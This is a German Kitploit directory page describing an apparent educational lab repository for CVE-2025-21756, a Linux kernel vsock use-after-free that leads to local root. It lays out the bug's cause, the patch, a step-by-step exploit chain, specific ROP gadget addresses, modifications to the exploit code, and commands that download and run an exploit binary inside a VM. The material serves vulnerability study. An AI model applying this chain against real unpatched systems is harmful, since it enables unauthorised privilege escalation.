Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-21756 — Pädagogisches Labor, das einen Use-after-Free (UAF)-Exploit im vsock-Subsystem des Linux-Kernels für lokale Rechteausweitung auf Root demonstriert, mit automatisiertem Setup und ROP-Kettenanalyse. | Kitploit
Tools/GitHubGitHub/h3raklez/cve-2025-21756
Privilege EscalationSchwachstellenanalyseExploitationCTFLernen & BildungBinary-ExploitationLabs & Praxis
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Pädagogisches Labor, das einen Use-after-Free (UAF)-Exploit im vsock-Subsystem des Linux-Kernels für lokale Rechteausweitung auf Root demonstriert, mit automatisiertem Setup und ROP-Kettenanalyse.

Repository anzeigen
15vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-21756 — Exploitation Labor

Nur für Bildungszwecke und autorisierte Sicherheitsforschung.

Beschreibung

CVE-2025-21756 ist eine Use-After-Free (UAF)-Sicherheitslücke im vsock (Virtual Socket)-Subsystem des Linux-Kernels, die am 26. Februar 2025 veröffentlicht wurde. Sie ermöglicht es einem lokalen Angreifer, auf betroffenen Linux-Systemen Rechte auf root zu erweitern.

  • CVSS v3.1: 7.8 (HOCH)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Betroffene Komponente: net/vmw_vsock/af_vsock.c
  • Betroffener Kernel: Linux 6.6.75 (und frühere ungepatchte Versionen)

Ursache

Der Fehler tritt während der Transport-Neuzuweisung eines vsock-Sockets auf. Die verwundbare Sequenz ist:

  1. vsock_create() erstellt den Socket mit refcnt=2 und fügt ihn in die unbound-Liste ein
  2. transport->release() ruft vsock_remove_bound() auf, ohne zu prüfen, ob der Socket in die bound-Liste verschoben wurde, und dekrementiert fälschlicherweise refcnt
  3. vsock_bind() nimmt an, dass der Socket noch in der unbound-Liste ist, und ruft erneut _vsock_remove_bound() auf
  4. refcnt erreicht vorzeitig 0 → das vsock-Objekt wird freigegeben, während noch Referenzen darauf bestehen → UAF

Angewandter Patch

void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Exploit-Kette

  1. UAF auslösen — Zwei aufeinanderfolgende connect()-Aufrufe mit CIDs, die unterschiedliche Transporte erzeugen, führen dazu, dass das vsock-Objekt vorzeitig freigegeben wird, während es noch in vsock_bind_table verlinkt ist
  2. Slab-Freigabe — SLUB-Partial-Listen werden geleert, um die Opferseite an den Seitenallokator zurückzugeben
  3. Page-Spray — Die freigegebene Seite wird mit unix_dgram_sendmsg und order-2-Nachrichten (MIGRATE_UNMOVABLE) zurückgefordert und mit kontrollierten Daten gefüllt
  4. Seitenkanal — vsock_diag_dump (nicht durch AppArmor geschützt) wird als Seitenkanal verwendet, um zu erkennen, wann die Seite zurückgefordert wurde, und den genauen Offset des Opferobjekts innerhalb der Seite zu lokalisieren
  5. RIP-Entführung — sk->sk_prot wird überschrieben, um auf udp_prot+0x1c0 (udp_abort) zu zeigen, was bei Aufruf sk->sk_error_report(sk) aufruft, dessen Zeiger mit einem Stack-Pivot-Gadget überschrieben wird
  6. ROP-Kette — commit_creds(init_cred) wird ausgeführt, um dem Prozess Root-Anmeldeinformationen zuzuweisen, gefolgt vom KPTI-Trampolin zur Rückkehr in den Benutzermodus
  7. Root-Shell — execve("/bin/sh") mit uid=0

Anforderungen

  • Debian 12 oder 13 x86_64 (getestet auf Debian 13)
  • Normaler Benutzer mit sudo-Zugriff
  • Mindestens RAM: 1 GB
  • Freier Festplattenspeicher: 10 GB

Labor Einrichtung

# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

Das Skript übernimmt automatisch:

  • Installieren von sudo falls nicht verfügbar
  • Installieren aller erforderlichen Abhängigkeiten (build-essential, qemu-system-x86, bc, pahole, usw.)
  • Herunterladen der offiziellen Google kCTF-Umgebung (Kernel lts-6.6.75, Rootfs, Ramdisk)
  • Herunterladen des ktranowl-Exploits und Anwenden der erforderlichen Patches
  • Kompilieren des Exploits
  • Erstellen der Ausführungsumgebung mit den korrekten Parametern
  • Erstellen von run_lab.sh als zentralem Einstiegspunkt

Ausführen des Labors

cd ~/cve-2025-21756-lab
./run_lab.sh

Sobald die Umgebung gebootet ist, führen Sie darin Folgendes aus:

wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Erwartete Ausgabe

[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Zum Beenden: Ctrl-A X


Angewendete Änderungen am Original-Exploit

Der Basis-Exploit stammt von ktranowl. Die folgenden Änderungen wurden vorgenommen, um ihn in dieser Umgebung zum Laufen zu bringen:

1. KASLR deaktiviert

Änderung: nokaslr zu den Kernel-Boot-Parametern hinzugefügt.

Grund: Der Original-Exploit umgeht KASLR mit EntryBleed, einer TLB-Timing-Seitenkanaltechnik, die präzises CPU-Timing erfordert. In einer verschachtelten Virtualisierungsumgebung ist die rdtsc-Präzision für EntryBleed nicht ausreichend, was zu einer falschen kbase führt und alle mit ADDRESS() berechneten Adressen ungültig macht. Das Deaktivieren von KASLR stellt sicher, dass der Kernel immer unter 0xffffffff81000000 geladen wird und die hartcodierten Offsets im Exploit immer korrekt sind.

2. user_rip von modeprobe_exec auf check_root geändert

Änderung in exploit.c:

// Vorher
uint64_t user_rip = (uint64_t)modeprobe_exec;

// Nachher
uint64_t user_rip = (uint64_t)check_root;

Grund: modeprobe_exec ist die im Original-Exploit verwendete Privilegieneskalationstechnik für die entfernte kCTF-Umgebung. Sie erfordert Kommandozeilenargumente (IP und Port eines entfernten Servers) und externe Netzwerkkonnektivität. Ohne diese Argumente stürzt der Prozess mit einem GPF ab, wenn versucht wird, argv[1] zu lesen. check_root überprüft direkt die uid und führt /bin/sh aus, was für die Demonstration der Ausbeutung in einer lokalen Umgebung ausreicht.

3. modeprobe_exec-Aufruf innerhalb von check_root entfernt

Änderung in exploit.c:

void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // entfernt
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Grund: Selbst mit user_rip, das auf check_root zeigt, rief diese Funktion intern erneut modeprobe_exec auf, bevor /bin/sh ausgeführt wurde. Ohne die erforderlichen Argumente verursachte dieser Aufruf einen GPF, und der Prozess wurde beendet, ohne eine Shell zu öffnen, obwohl commit_creds die Privilegien bereits erfolgreich erhöht hatte.


ROP-Kette und Symbolanalyse

Während der Laboreinrichtung wurden alle Kernel-Symbole und ROP-Gadgets gegen den offiziellen kCTF lts-6.6.75-Kernel verifiziert, um zu bestätigen, dass sie für diese Umgebung gültig waren.

ROP-Gadgets

Die drei im Exploit verwendeten Gadgets wurden mit ROPgadget aus der offiziellen vmlinux-Binärdatei extrahiert und bestätigt, dass sie exakt mit den hartcodierten Werten übereinstimmen:

GadgetAdresseZweck
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Stack-Pivot — verschiebt RSP an den Anfang des kontrollierten vsock-Objekts
add rsp, 0xb8 ; jmp ...0xffffffff8170292cStack-Vorschub — überspringt reservierte Felder, um zur ROP-Kette zu gelangen
pop rdi ; ret0xffffffff8115e4f9Lädt das erste Argument für commit_creds(init_cred)

Keines dieser Gadgets erforderte eine Änderung.

Kernel-Symbole

Die folgenden Symbole wurden gegen /proc/kallsyms innerhalb des Kernels verifiziert (mit nokaslr sind die Offsets fest):

Tool herunterladen